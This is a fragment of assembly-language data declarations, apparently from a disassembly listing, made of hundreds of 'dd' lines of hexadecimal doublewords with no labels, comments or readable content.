		dd 2F1654B6h, 0D6B67800h, 0E9CF4DC3h, 0F422A821h, 859E0D01h
		dd 0AE11D95Eh, 0D26F2440h, 8B95ED01h, 7460EABCh, 0A87AE073h
		dd 12A961F0h, 175CAC0h,	0F61A2D34h, 7DA83015h, 0CC1FBA0Bh
		dd 5A0C07ADh, 2E775C90h, 0CF7C0455h, 8C49440Bh,	89E6DEF0h
		dd 3A4CAF7Ch, 924D18A0h, 25CB360h, 66D4A388h, 0F88233D9h
		dd 0E0447786h, 0EC2A8003h, 0E0DB7AE6h, 2E0BA794h, 1258E483h
		dd 0A3A076Ah, 295C787h,	88C0D080h, 6C13689Ch, 4C17072Bh
		dd 325E9428h, 0A1065F0h, 0B116C7C0h, 9724F4Ch, 401AC68Ah
		dd 6DE1358h, 3F6CD463h,	5E154C03h, 73A00DB2h, 7C3C4C84h
		dd 0F0FBC617h, 653D84FCh, 0BF007FB8h, 4D6E4213h, 3BDC77Ah
		dd 38816022h, 0ED9A925Ch, 0FA282CC8h, 48883289h, 0C403FFA2h
		dd 1013346Eh, 92244B0h,	2F6FC70Dh, 51784064h, 174D24h
		dd 456EEF0h, 0CDD9DC3Ah, 0E0473F2Ch, 7D5B5E00h,	94E992EAh
		dd 94C26ECh, 1C4ED90Fh,	48999490h, 0DCA91830h, 2EC81EC0h
		dd 8951469h, 98A7A813h,	190FB2E4h, 89CF1ED7h, 5CA898ECh
		dd 50ED6D73h, 779C5011h, 0E2CB6DBh, 5C432430h, 910FE6Ah
		dd 57AE9D56h, 207E1891h, 680C3CB8h, 70DFAB92h, 8A5D03AEh
		dd 0DB0C1DBDh, 33B820B7h, 880EDCFAh, 61AE7E78h,	0F0E0B384h
		dd 74317C60h, 6ADF009Dh, 39B84A44h, 0D248402Fh,	0AC1F06B4h
		dd 0B0C99FC6h, 979DE94h, 9CA0E1D2h, 0FFB575AFh,	86A7B000h
		dd 0E9A46779h, 6E2E02FDh, 0F8BB12CFh, 3263D0C8h, 0BF748482h
		dd 8C81A622h, 35AEFF13h, 0FA02FAF0h, 0C29700A2h, 1A175CD1h
		dd 240F4AB4h, 0E054F049h, 1E3135C6h, 0E2C00110h, 0A4B3F426h
		dd 8658B0A0h, 0A0C0A9Dh, 58A4F645h, 0AF134C25h,	0C4089A32h
		dd 0E93B04AAh, 0A1B0D483h, 8638FCBCh, 5C1BA606h, 0B040DFE0h
		dd 1075C6Dh, 0A4A0911Fh, 60184BCCh, 872AC683h, 5F10A499h
		dd 320313D8h, 0DEE7DBCAh, 41A8894Ch, 682AD2B4h,	0F1FBE60Ch
		dd 7743802Ah, 1CD4A02Eh, 96086449h, 3701692Ch, 9E63F10Fh
		dd 8414A280h, 0DF7C1208h, 21A92C04h, 79550A00h,	0BA2CF6AEh
		dd 1D8B65F7h, 0CD9583F4h, 7A510052h, 0EBF3BDE0h, 0C81D39BCh
		dd 0C600FCB6h, 6B92509Ch, 8EECB014h, 26890ACh, 25D5B02Ch
		dd 845986A9h, 0C14FE88h, 0DD821B4h, 0B0109360h,	48BFE05Bh
		dd 0C90FACEEh, 6841AB6h, 0BC8481h, 55B47708h, 6C4C4592h
		dd 408048F0h, 0B94BD23Ch, 0C6FE2002h, 66C4A07Bh, 92BD7F9h
		dd 2D5C5F0Ch, 0A70188C6h, 92F7C735h, 9475A1A3h,	4785642Dh
		dd 6018C94Bh, 8CB49730h, 9A0C84Fh, 0FC1939CDh, 23C5F5DBh
		dd 0FE404130h, 7F509CE4h, 90951390h, 25EE3268h,	40900A3Ah
		dd 50C2A7D5h, 0E05F946Dh, 24E00B44h, 16140D8Ah,	0DAFC0076h
		dd 0EE12E139h, 442CE500h, 81E72243h, 0FDD20F45h, 0C6D3685Ch
		dd 530B8868h, 850966E6h, 0D4303118h, 2E13673Ch,	64B4DB4Eh
		dd 76289861h, 0A0461804h, 810AA06h, 1AD4CF2Ch, 2C78F9C1h
		dd 5F5C7F13h, 5EAB5481h, 12E604D4h, 400F3391h, 0DF846014h
		dd 44989C0Dh, 76C13800h, 0D2592EA2h, 0BBC92479h, 0F4D42500h
		dd 1F3CFE9Fh, 0C5232ADh, 0CB900802h, 2064D8EBh,	0D20A4665h
		dd 0A0023AE9h, 98FD3243h, 0A17A87h, 2F10DBB7h, 0B1B5E74h
		dd 0D900BCB2h, 4CE55B44h, 3A1CEAh, 8DE82CC9h, 0F0655C51h
		dd 21EC0C9h, 4FE92E0h, 567CD0A4h, 0F0C4E1BDh, 0A4B1A326h
		dd 0B0120455h, 0B689B4D6h, 1E5E0640h, 0EA00A98Bh, 26CE6244h
		dd 4F9222A6h, 722880BCh
		dd 60960A36h, 822B348Eh, 464255DDh, 91D91258h, 933C8528h
		dd 4BFF3CB4h, 7D0FD440h, 924230B9h, 0AEE468DCh,	0D7A50070h
		dd 64D41095h, 0DEE8DF11h, 91A81E50h, 0AFDAE62Dh, 347C666Ch
		dd 0B0D8D779h, 0CA16D328h, 58414C4Ah, 987F0E74h, 0AA29042h
		dd 93C2040h, 0D3BFF13Ch, 3B34F048h, 0E9B120BCh,	0C438B2C6h
		dd 0DFD8C67Fh, 8003A9A0h, 0E06317BAh, 9C34E1D7h, 80771893h
		dd 0D8C847ECh, 371C5094h, 98CB320h, 62F9C6h, 81AE9480h
		dd 922C0221h, 7880F42Ch, 0C709E5BFh, 809A6926h,	9E06F098h
		dd 0C681E8ABh, 1D42CA6h, 0AEB76884h, 1BC1D76Eh,	40DB1460h
		dd 332C328Eh, 9262909Fh, 78D4C5h, 0D1CE791Eh, 0A7305CFFh
		dd 92A2202Eh, 2E240AFh,	0C2D64101h, 1D305C59h, 6E0D421h
		dd 0BCCBB77h, 5064C63Ah, 8C9F7024h, 75AAFE00h, 64B85E84h
		dd 0A018AEh, 0E1BB7A86h, 0AF28003Bh, 388A3574h,	0A7305EEEh
		dd 0D633509Fh, 32D5070Ah, 0F4123BE8h, 7A9C9078h, 0EAEC6B3Ch
		dd 4C5A38A2h, 8C159C20h, 40B08210h, 0F8213E74h,	0CB2E3AD1h
		dd 0B3103581h, 0FCE224D9h, 0F0942C91h, 0F0098630h, 0AA1630C6h
		dd 91D00A40h, 0CC04D45Bh, 24B08B0Eh, 3D5B285Ch,	93A58080h
		dd 90E50335h, 66A4451h,	0EDE664F0h, 0AB2C7E00h,	27125D1Fh
		dd 0F8762E6Eh, 0BA588174h, 0DCE3D820h, 44007291h, 0C812FC67h
		dd 0F2ED39D9h, 75253E30h, 354E3F00h, 0DD3A1746h, 50179C7Eh
		dd 6801F52Bh, 0E809BDAh, 0E77C5C89h, 7EAEEC10h,	53C25401h
		dd 74A30672h, 24914770h, 8760509Dh, 91D11955h, 0FEC45F03h
		dd 0ECC8E4A0h, 50027118h, 47345C44h, 0F01CC0E0h, 0FDC01F07h
		dd 0FF740033h, 0BAB173D5h, 870AF40Bh, 7CB0C978h, 6222462h
		dd 0D65D5C7Bh, 564F0144h, 9D622032h, 12CAFCECh,	0DB86C6h
		dd 92870860h, 0EB0199FBh, 0CE75A6D2h, 0E424DFD9h, 1E65AC6h
		dd 20851858h, 18086E10h, 0D3D0B05Eh, 0AB03EDD8h, 0DA7561D6h
		dd 7CC0BF33h, 5B71228Dh, 4045703h, 0EA65ED4h, 64213244h
		dd 106CD50Ch, 99C7A812h, 73082494h, 0F902DB1Ah,	38984130h
		dd 20603902h, 0FD06A906h, 2ED7FA3Dh, 109CBEB9h,	0C600493Ch
		dd 7D812AC0h, 4270045Fh, 0A8AF0912h, 0CF650180h, 99A19228h
		dd 10733082h, 4C79967Fh, 4C1F5E84h, 128868B2h, 44299618h
		dd 0CF642h, 0DA3A1661h,	0B8CBA5FFh, 0E8505C24h,	1CA68680h
		dd 171B87E0h, 561049C7h, 0B060041Ch, 0DC7C8213h, 5324D0FAh
		dd 0A422E476h, 6C01817Bh, 5E953BEBh, 0F0058988h, 0CF4A34E0h
		dd 0D8D0A424h, 486A0764h, 0E60B50DAh, 9600FCEEh, 0E7257DA8h
		dd 1E11CFh, 190B0575h, 0E3770762h, 700DADB5h, 226B2EAEh
		dd 0CE7D390Eh, 0F14D4002h, 13751D41h, 0C1E8575Ch, 6DF7D204h
		dd 6CB8606Ch, 15C833Bh,	8B307EB3h, 50F40392h, 405E7398h
		dd 0C0248C58h, 0E42EFCAFh, 3E86B8BEh, 0F232753Ch, 0B05ADC60h
		dd 4A4328BEh, 0BC48529Eh, 0CBC55600h, 0A21F0AF1h, 9860C676h
		dd 91470520h, 77440627h, 7080D439h, 0C68C0494h,	5CDD911Eh
		dd 5C3D787Ch, 1D703CB3h, 7CA5C6C9h, 4FC40028h, 37DB104h
		dd 36B0C9ECh, 92B2FC04h, 70540E94h, 6FB10F3Ah, 7A28C062h
		dd 6078BECCh, 0BF61A080h, 1E05AD74h, 0A11CC6A3h, 858F8E3h
		dd 0B9257A3Eh, 0C91A2CA7h, 64CC3B0Bh, 329CF17h,	54C148C4h
		dd 0D80411ADh, 10B830ECh, 84805E10h, 960458h, 0FB4CDB40h
		dd 0D01DA16Fh, 0D24B980Ah, 1FFC82AAh, 33E702B2h, 188830E8h
		dd 11910389h, 0FC0B2C4Bh, 3A42804Ah, 13648722h,	0DCB3BDB4h
		dd 17E90A10h, 690F82AEh, 7486007Fh, 5B6D089h, 0BED6C6CEh
		dd 7F8820BAh, 40FB663Ch, 983B07Ch, 0C9299219h, 97F57F10h
		dd 12BC1AE4h, 40B0215Eh, 0D8EAE5C8h, 44291067h,	320D8861h
		dd 8B42C023h, 6069C296h, 42CAD80h, 0A25EE9F8h, 55ACB464h
		dd 5CF8BC54h, 287AFE00h, 0E421DBE1h, 0C0C17A5Eh, 0BFC87B28h
		dd 2A0E7C85h, 9B7F5F13h, 5B0FE918h, 7AA0E43Ch, 780FC0C7h
		dd 0ABA2A83h, 4800D8F1h, 0DFC6810Eh, 0DEC40F39h, 7E3D4303h
		dd 8EC3A14h, 14604414h,	0E17B9109h, 0D78980C0h,	5C551104h
		dd 28C0167Ah, 910F62D5h, 9C952090h, 0D7E8078h, 0C43A2B5Dh
		dd 9CFC510Ch, 1D39805Bh, 0E0FF6Bh, 8906C6DCh, 77E40E5Fh
		dd 60482960h, 0ADC083h,	0B1598C7h, 6C9C3B63h, 4C7F80B8h
		dd 0DB094898h, 0C8301432h, 0F73B5C54h, 102F8003h, 1BF4A207h
		dd 0D4451A28h, 862F5E84h, 0E2B41302h, 651F7846h, 0B643F51Eh
		dd 0DFF7C6h, 5DDB18D8h,	0D7D3F61Ah, 0D1A48797h,	0E6E45CF1h
		dd 86680A5h, 204C097h, 165C3F7Ah, 2CF3CE40h, 6042CBD8h
		dd 31D79Ch, 5AAF14CDh, 3AEA1760h, 81E2EE00h, 195CB90Ch
		dd 3440CC3Bh, 912B4E0h,	740920D7h, 0C4DC52FFh, 0FC115E48h
		dd 0F03A03ACh, 0A81BD9F3h, 49935F0Ch, 0C6020C59h, 26A05EBEh
		dd 45F16049h, 0DA2C0448h, 0F8A801B1h, 0D82DCC5Ch, 7F887D00h
		dd 9306B8F9h, 0B2F15E12h, 3B82F437h, 0F2A4A95Bh, 0A0C61A70h
		dd 287A581Fh, 368E5C1Eh, 22BF4E20h, 0DE100A44h,	4027613Ch
		dd 24D3C892h, 92957DE0h, 3EC8C994h, 0AD100D2h, 5E194FA0h
		dd 0C8D1026Bh, 8532Bh, 66D4AA7Ch, 88B4A506h, 0E9648F2Fh
		dd 5428C478h, 0CFDF307Eh, 48A0D888h, 5699FA58h,	760E58B8h
		dd 410F393Ch, 0B9D255A6h, 4110E833h, 103E329Fh,	0F904F873h
		dd 18810FCDh, 8102B310h, 0E23AF446h, 0ACF02A03h, 526E62h
		dd 0F2DD5510h, 0F7CBDB7Ah, 2A1D90A6h, 0B28FFE7Ch, 782B26h
		dd 3C3693F0h, 0B7922F03h, 5C724CC0h, 4C301C49h,	930C5C28h
		dd 540248A8h, 2EE85BDAh, 0CC8C4FEh, 0C9367703h,	0C5D6E0FAh
		dd 653C138Eh, 0D3C842C4h, 0AC68E191h, 1D1DB69Ch, 23DAC6A1h
		dd 189847D8h, 0B1D13838h, 6394F117h, 65C5861h, 0BEA81EE3h
		dd 0C084AF91h, 7C04EB28h, 0D402A25Ah, 8C4811EEh, 284C2CDDh
		dd 1D9C1A8h, 202F84AFh,	4789160h, 0D054065Fh, 0DB470668h
		dd 0F37021E6h, 18DA6020h, 60CDD791h, 2F00D192h,	62444164h
		dd 1B420BFh, 0C0CA7A37h, 20D6B65Eh, 754C07A0h, 0E85258h
		dd 26F0970Ah, 0B1043945h, 0FE136090h, 0D62FD7E4h, 6B85279h
		dd 3091D47Ch, 0A44928FAh, 501E2CD8h, 7057CE82h,	44545CA0h
		dd 5E444060h, 6913A68h,	0A364DA89h, 8E856CEh, 45F06CF6h
		dd 0A8546035h, 480A880Ah, 320B746Ah, 258C93CCh,	48116370h
		dd 25A05217h, 0C4B03472h, 80BD9AF8h, 924AC400h,	0AC1D5040h
		dd 0E78922Eh, 0EFAE13E5h, 0D1DC34E1h, 699C61EDh, 37CE826Ch
		dd 1F70741Bh, 6450E0FDh, 0BF138FA4h, 6C0095E4h,	60A4276Dh
		dd 516E78C4h, 382008C6h, 902F4059h, 4C9A4F02h, 0E8A7C6DEh
		dd 704D6E38h, 33DD00CEh, 0CD811E8Eh, 900FD31h, 0C55712D8h
		dd 25C705DCh, 0C064A1E1h, 0E949C670h, 8F281340h, 0D0300817h
		dd 18CB9406h, 0B0118191h, 3E0A2624h, 0A8B59913h, 920E18A6h
		dd 184F1307h, 1F2601AFh, 74F1FA27h, 0AC64002Ah,	829F5E75h
		dd 79EC58C9h, 0C4894268h, 0DE1224C0h, 77F7C00h,	62EF0428h
		dd 0C83C3FFDh, 0C00086BEh, 0A6763ADFh, 0C0ECC8Bh, 0E0D6A59Ah
		dd 5FD9126Eh, 57F000C7h, 0D06AA728h, 0AD612C91h, 75E63A9h
		dd 41081D3Eh, 0F019E1FCh, 0D8282B7Ah, 674B00D2h, 3BA7D452h
		dd 390ECC9Fh, 679E33E0h, 34F79CFFh, 0F0EC7Bh, 0FB5581AEh
		dd 7D069C65h, 70F1C626h, 0FD32A080h, 0F022E603h, 79B056Fh
		dd 0C10BF0BAh, 853E2B58h
		dd 0D6DB7380h, 10F0C894h, 0D6B133Ch, 94B29Ah, 0C5475C4Ah
		dd 0BCE391C2h, 0AC9400C4h, 844D24EBh, 7CBC600Bh, 0C5800B66h
		dd 68840470h, 603880B8h, 0F2094A9Ch, 0E0A991CFh, 0A0C7ACB4h
		dd 80E155E4h, 0A49861EFh, 0C46F6424h, 0C95EB182h, 0D3AC40C8h
		dd 5C4302F0h, 60B4D59h,	2433D880h, 0BD13C77Bh, 58F11E5Eh
		dd 844F8C3Ch, 1338F320h, 0BCC01192h, 5FD5D2Ah, 0C25C6378h
		dd 4C74B253h, 1C920DE7h, 900128D5h, 0C078E74Ch,	221F2B80h
		dd 0D800EAFFh, 0AB088A5Fh, 9F4FC709h, 683C60C0h, 0E4980B27h
		dd 90476BD4h, 6C03CCE5h, 0E0B4891Ch, 0FA7ACh, 82AF1F42h
		dd 9ADADEFCh, 0FA0C3C90h, 180D2BF5h, 0C3F21FC7h, 0BB9400F8h
		dd 6C284BAh, 0A65E850Ch, 51AEE119h, 9FE59C59h, 78ACA871h
		dd 6CC70B78h, 0DB25A440h, 62844Ch, 0C075A836h, 0B1682h
		dd 2A306DCh, 46D6EB38h,	4C805C16h, 9C609C9Dh, 0D5F340CDh
		dd 0A4386277h, 581A008Ah, 3C0977F8h, 7E032648h,	243111Ch
		dd 0B1D0029Ch, 0AAC4013h, 7AEE3Ah, 4428E9BEh, 29C36D5Ch
		dd 0F6324213h, 69AA9C00h, 48EBCAD2h, 0BE12E02Eh, 0B240C88Bh
		dd 0F12FE8A6h, 982C9413h, 0CC11BDD4h, 10D46006h, 0AC6ED7A1h
		dd 3D166A49h, 6F5E6842h, 0F3330056h, 9219673Bh,	0DCF04F71h
		dd 0D0C22461h, 0C43A054Ch, 0E0E96297h, 190040A4h, 0D9BAFD2Bh
		dd 0C0453B5Ch, 5480AE70h, 3900C0A6h, 0D42E01EEh, 0C3E440Eh
		dd 0E8C84AE3h, 2100A118h, 42C4FB34h, 125B2F02h,	1C96C5Eh
		dd 17C70C74h, 76C02421h, 808A2903h, 0F0E8BAAAh,	4AA87E7Fh
		dd 0F89821C7h, 0EA8707B5h, 0FCE28884h, 0AC91C617h, 9F9C4D6Ch
		dd 5021EC92h, 431323Eh,	0D21E8824h, 5945358h, 0D1486318h
		dd 871A3E68h, 9244B328h, 0EE3422B9h, 0E080C05Ah, 1BCE0B0Eh
		dd 3C58B476h, 875D20h, 2927AC11h, 0C93A22F0h, 9E35C101h
		dd 0C7B55C3Ch, 313E1025h, 9F934E08h, 770F43B1h,	1692C3AFh
		dd 0AD700056h, 0C6786F68h, 0A09FDF76h, 8A2D591Ch, 3B3424F8h
		dd 2C7EE0B4h, 5702F5F4h, 0C67006EBh, 5C187812h,	8107FD65h
		dd 1A8DB32h, 2C063C5Ch,	0E748814Ch, 1A344E01h, 545C16B3h
		dd 0D0541D93h, 5DC68460h, 27DB30F0h, 0F044C2E5h, 3360809Ch
		dd 12503BC8h, 73EBB92h,	0C9972058h, 5C39D4E6h, 0DD80E3C3h
		dd 1CE2E5A1h, 8112F858h, 3C84CCC6h, 0EDFEB705h,	0C00061EEh
		dd 0D7C6A4E9h, 8A79DD19h, 0A090E356h, 530E1499h, 0DF00FC0Fh
		dd 115D48EDh, 0D5E1FDEh, 10D25030h, 3AEE0070h, 6525CBF0h
		dd 4C0E3C93h, 0E071AF04h, 86C0340Ah, 0F197029Dh, 94C6D673h
		dd 0C8244056h, 94D8C00h, 16EF6901h, 4F2D08DBh, 0FE9DF2Ch
		dd 22AF2802h, 0A060808Bh, 38B07B02h, 3B9D921Bh,	22401318h
		dd 0C50887A6h, 2F89036h, 150028D7h, 0B64DC425h,	7CDB9E43h
		dd 1E2B05AFh, 80116C96h, 0A6ADF6C4h, 73581F61h,	0CC20C932h
		dd 91CA8043h, 68385630h, 0F25F1370h, 86509655h,	606FF530h
		dd 1806C51h, 60370608h,	684F8FACh, 702DECE1h, 4983C12h
		dd 0C0857808h, 1D06DBCh, 8A372109h, 92EC0179h, 223B5294h
		dd 0A0601954h, 8CA02082h, 1F09E0AFh, 0D0A82FD5h, 0E45E07C8h
		dd 0D0BA4654h, 2B948505h, 23D75C12h, 0BE74C40h,	9ED25F08h
		dd 0DCFE00C0h, 4A758689h, 0FBF7F818h, 18D7810h,	40A971AEh
		dd 207E6D52h, 5D179CB1h, 98425492h, 5EEF3647h, 67B419Ch
		dd 88C02C87h, 0C70C3DB0h, 0D2888E9h, 744B5F18h,	0D3990C20h
		dd 44700029h, 0CE0A40EAh, 0A37CEB00h, 5C100836h, 53495AF2h
		dd 46013A0h, 12E47BACh,	54B37C82h, 1264A450h, 654E806h
		dd 0BD1291D6h, 27A8B229h, 0CC804EBh, 280924CBh,	0F88F5ED9h
		dd 9C199784h, 0E761C0DDh, 3468D4E9h, 0C17F5C12h, 0C698CC49h
		dd 6138962Ch, 8CF7C6h, 0E8486243h, 76851768h, 77D42CBCh
		dd 580B15B8h, 0A91F9270h, 0D2E18928h, 31DA1774h, 209C12CAh
		dd 987013B8h, 0D96384B4h, 4BD04A06h, 70C97734h,	5C4474DDh
		dd 40998C27h, 4C5291ECh, 0A8178071h, 44B070CFh,	19008E5Eh
		dd 0E639DEADh, 95AC094h, 9286FC0Bh, 0A29CD100h,	0CE7B782Eh
		dd 0C47B991Eh, 0CCE02AD2h, 5849614h, 0D0EB5C77h, 4D2B0A74h
		dd 0D82A273Eh, 0C0CD2DE4h, 50CD478h, 8C7DB8A2h,	0AFC4C179h
		dd 74A3C1C6h, 0BD0264F4h, 365E92DCh, 8B647B57h,	885B4342h
		dd 6A4C6927h, 0CEDD6184h, 0E348D804h, 0D1F65A02h, 0D6C4F03Bh
		dd 0E7B83CF8h, 92F5BD92h, 0F8C27C94h, 6C3EE882h, 80B8510Bh
		dd 1647AF14h, 0E95AD38Ch, 86920002h, 8F785695h,	0B167E1BCh
		dd 0B92D465Eh, 3402DD75h, 5F842EC2h, 40D8E2B7h,	0B8F2256Bh
		dd 7E3362D8h, 0C0E00F0Eh, 39C77D93h, 0C23FB4C9h, 885BC457h
		dd 0B0200880h, 98D9E640h, 7C8C825Bh, 0C8CEE3E4h, 0C7195DA0h
		dd 8CF920h, 35BD1F25h, 79055EAEh, 33828C4h, 59917888h
		dd 5E7E5031h, 0AA2CD0B9h, 0CF0CF1C0h, 48906AC6h, 344F129Ch
		dd 64503933h, 0C765E1Ch, 930610C4h, 5D0160A2h, 555C7DFEh
		dd 584B3A4Ch, 30EC0778h, 92FDCBB0h, 0C8899DB6h,	3A034881h
		dd 0D60C60E1h, 55A41D12h, 206BECB5h, 5E62A604h,	70CBC17Fh
		dd 0BEC002D2h, 57CC4A3Dh, 0FDB7DCA0h, 4C971EA7h, 0CF0C8088h
		dd 3F68BC3Bh, 22955340h, 78E0830Ch, 1EC71618h, 48E4C0D6h
		dd 21972B34h, 0CBB35C30h, 0CC921828h, 741413CCh, 10C4E3A1h
		dd 589458h, 23959720h, 9AB4740h, 27954610h, 0F0513409h
		dd 9F127D13h, 0BCBC00C4h, 0DF622AC0h, 0C4000481h, 0C9970A6Dh
		dd 7320DDE6h, 40CE6E5Ch, 0B81C36E4h, 5D5E83E8h,	0A010301Eh
		dd 0FCA7D0C0h, 3A586E07h, 271393C4h, 8072AB07h,	2CD25CA6h
		dd 0AD9C1C91h, 5E387066h, 6919C0BCh, 3C70E8A9h,	0DF61D600h
		dd 0FEE7C7B8h, 62D5025Ch, 843BE9Bh, 39CDEC40h, 38C4C626h
		dd 64373E40h, 3A303E1Ah, 8FC10274h, 343DC454h, 81E2407Eh
		dd 0CC45229h, 0B02C91DAh, 0CD009818h, 0B47B361Ah, 24C6FE5Ch
		dd 8A38FAAAh, 27BC0242h, 0A85E6442h, 0AD9F4708h, 0A8E05C29h
		dd 0FC141B2Ah, 14A87E4Bh, 2089609h, 0C701759Ch,	2C7CB4h
		dd 73AF6C28h, 8E0186A1h, 0C806C064h, 108088DCh,	0A7A96B7Eh
		dd 5E15552Eh, 939473CBh, 2ADD54F0h, 82CC6A44h, 92DC98C4h
		dd 24CA59A5h, 0B8648318h, 523E4844h, 92F0056Eh,	4CC9D1Bh
		dd 805C913Ch, 9FBA2D2Ah, 7D0086D4h, 0DB920123h,	0B4B81AEh
		dd 6A467BEh, 830A8h, 11C160D7h,	55F8CAEDh, 3B124D16h, 0B5338806h
		dd 7AF5BB9h, 0C2C26934h, 1C681FBBh, 5F2511FAh, 0F37889F2h
		dd 20391044h, 581B42AFh, 9BD4C478h, 0E239C200h,	0BF3E23EAh
		dd 0BEF41354h, 81784A2h, 44B2D5h, 6FD6B747h, 2CC70C65h
		dd 7E9305h, 62842021h, 9004DCB8h, 5C2D9646h, 4C0F484h
		dd 98587C85h, 58C9692Dh, 5F076840h, 0B82A282Ah,	8862222Ch
		dd 2560609h, 1BCEE78h, 6BE01247h, 0C4B05425h, 0C5F42492h
		dd 4E588088h, 86B7F01Eh, 0CDF67607h, 5B90384Fh,	792F04D2h
		dd 0FD121680h, 0F4D8619Bh, 953C68AFh, 0D45E12C4h, 0B1EDDCE4h
		dd 0A24796C8h, 0BC014F98h, 870C7C09h, 0EDC8357Bh, 10F495CCh
		dd 1046F3Fh, 85663C80h,	13D4A268h, 0C89C402Ch, 0E3E4002Ah
		dd 75C422A2h, 0E11D4ECEh, 0C096AE6Dh, 0D04B04F2h, 0BFA503B0h
		dd 5416C0B1h, 50E834A0h, 0BD7EEC9Ch, 0D49C8834h, 93C6FF02h
		dd 4D28C826h, 0EDB22F92h, 1E2FD81Eh, 9884A87Ch,	38587688h
		dd 2339C608h
		dd 82753C39h, 955EF90Ch, 5746A3Fh, 60ECCB9Ch, 25C5D459h
		dd 0E18CF416h, 2501A240h, 90255A07h, 0DB900F85h, 0DCE4FAE9h
		dd 9A745C18h, 2AD86E8h,	226C56A5h, 48DE81C7h, 0B092A416h
		dd 73440184h, 6053F12Eh, 9740ED70h, 3C5C2C80h, 0ECD99F54h
		dd 0BF60B028h, 10B739CEh, 68E0DB0Ch, 2D8881E3h,	7A011046h
		dd 0BE0E11C7h, 0D4716C06h, 5C740800h, 28E165E5h, 5E7C9370h
		dd 8CE653FAh, 0E791D915h, 0BC792EBCh, 7638DCA0h, 18A5A0B9h
		dd 19C4BC47h, 3A046C5Ah, 43855E7Fh, 0CCC25890h,	0DA50ED6h
		dd 31C26244h, 0ACF64A2Bh, 6D69DD81h, 9E2BA35h, 0E8585813h
		dd 1D580358h, 0A862DBACh, 1379B2D2h, 75B5CC6h, 0CAD6057Ch
		dd 822E40D8h, 0B8C737CDh, 0DBE1A7D1h, 4864C0E8h, 201841CFh
		dd 666299D4h, 4A6DB440h, 6E82200h, 869CD187h, 4033465Ch
		dd 6CC77C25h, 160D79B0h, 34BAC0ADh, 32102114h, 0A227CCDCh
		dd 0A1C54B6h, 40D364CEh, 0BD47EB95h, 0E25EC6h, 0FE7A2CB8h
		dd 5E1899DFh, 940B356h,	0FC190748h, 193A39E2h, 98B07472h
		dd 0BFBD4F01h, 0E51D5C66h, 0CF65E18Bh, 7CE0188Ch, 4E33A4Ah
		dd 9A7F1400h, 57B10E7Ah, 1215390Bh, 1D0F008h, 0CE3B70F8h
		dd 0A5B21A91h, 188E5F8h, 0A78B7E13h, 8450A384h,	0EB8414A7h
		dd 26923DF0h, 79C6084h,	20F2A194h, 0B0784412h, 371F630Eh
		dd 0CB1D792h, 0A1F49428h, 42042074h, 0E2449940h, 753B07F7h
		dd 0CC8091D5h, 0B0BD7828h, 809D18B4h, 6550B3C6h, 88912BF4h
		dd 0F3638E81h, 0D030E367h, 26EF39D8h, 0C133AC0h, 0CC1A0FFBh
		dd 0AF080728h, 5E06148Ah, 0A0B43Ch, 3F446DF9h, 14D1366Eh
		dd 0FCC53A1Fh, 0A8DE5B4Ch, 0FF410764h, 85E0B9D6h, 81C5Ch
		dd 0E27472AEh, 5E12BB95h, 0A0F204FAh, 0A20CD10Fh, 0AF0AE7E2h
		dd 30E060D6h, 0BFC732D6h, 0D503D414h, 596DC566h, 5EB5B83Bh
		dd 0B4364AF3h, 0C7131B28h, 0D8D35772h, 38CE60h,	7D0D526Eh
		dd 8FF89C26h, 8878C004h, 0C5FF85C6h, 0ADCCC58h,	0B4F2974Bh
		dd 0E2E9F212h, 94216B8h, 563A28B1h, 9EA41FBCh, 18807D2Ah
		dd 5FB8ADE4h, 0E93FE6ABh, 918781F7h, 0F81B0CC2h, 25D02C71h
		dd 6E81EC5h, 87D1479h, 1450863Ch, 0DE131777h, 12E4E2BCh
		dd 7464FF44h, 1D76C8F8h, 0C42A2326h, 0D2505ED5h, 625DBAF4h
		dd 7A746054h, 490F2FCBh, 0CD26D4E4h, 5E050433h,	0F0585B42h
		dd 1B57B98h, 8978A834h,	3B5E5C6Dh, 0A37DA407h, 0F32F6ACh
		dd 23D3BEEh, 83360C02h,	44C38D0h, 0CAF23C20h, 7E3EB4B7h
		dd 20B54016h, 7498517Ch, 5AAED600h, 978308D5h, 2322305Eh
		dd 44F2A830h, 153A7A04h, 0A8C1F954h, 0DCEDE8CDh, 7AFFC70h
		dd 0BA2A3604h, 96085C4h, 0A0D03408h, 4616A02Dh,	335DD8h
		dd 0F762810h, 447EEE3h,	1CBCE211h, 0BE22ED00h, 35C3F5Bh
		dd 1030FF4Dh, 0A07F535h, 67852E81h, 472C0DFh, 0E7274EC7h
		dd 818C68BAh, 827D5E10h, 44704718h, 7365D600h, 4DAF7A43h
		dd 91B13DBh, 0A138B04Eh, 86FDB31Fh, 844CE22Fh, 8543036Ch
		dd 5DA0E276h, 774EC702h, 67843080h, 33DB8BCh, 9E6CBD99h
		dd 60CF54D8h, 692A7E1Dh, 81F8B690h, 8DAA8800h, 0AD3A9CCAh
		dd 0CCEB019Eh, 7DFEA548h, 890DDCB1h, 9CB8ED00h,	8C05B03Fh
		dd 6090007Eh, 4E61FD2Ah, 0F30733F2h, 0B4F76585h, 1D49CCh
		dd 84B189D7h, 9B5EB88h,	83C4FF00h, 48024191h, 636A0031h
		dd 0E21E9F56h, 0FF00808Dh, 0E105CFC2h, 73FB399h, 0C130DBF1h
		dd 0BC61EF41h, 20E57CFFh, 99F8DCCCh, 0C4FC0CA8h, 18FD3B80h
		dd 78CC741Dh, 2A1E481Eh, 0E8F64189h, 0EC85F8F8h, 54BC50F7h
		dd 9A2912FFh, 935A0CF5h, 551C9D38h, 63DD5D1Ch, 54E66081h
		dd 408375F1h, 0AF4170A0h, 9C4E1828h, 3240FB67h,	8C5521B2h
		dd 37C92897h, 73704AEEh, 587E0ECAh, 1E652F06h, 108D0Fh
		dd 5A58709Eh, 0DD48DA9Bh, 0D2887550h, 0C5A57602h, 0C0F51D84h
		dd 1B599610h, 503EDE48h, 853D9EE8h, 0FE760203h,	0C0D5747h
		dd 80C7CE18h, 0FD001D58h, 7B0F8B6Bh, 6DC01E03h,	80F07183h
		dd 0E6FF7E20h, 7C42E79Dh, 4A340197h, 30D8B5A9h,	8A683037h
		dd 25EDA400h, 7F7B5D1Fh, 763E0CA8h, 4D99EC40h, 72E89D1Bh
		dd 6366E058h, 98885428h, 48CA0CE5h, 0CC989EF3h,	8D929403h
		dd 0C7A6105h, 495C55A1h, 41F25630h, 0F703FBF8h,	0D3489A21h
		dd 538002Dh, 0BF460262h, 0FCF895B7h, 6B43952h, 8F1DF4CDh
		dd 3E840F28h, 0C406F666h, 360C617Dh, 20408748h,	0C7F106D2h
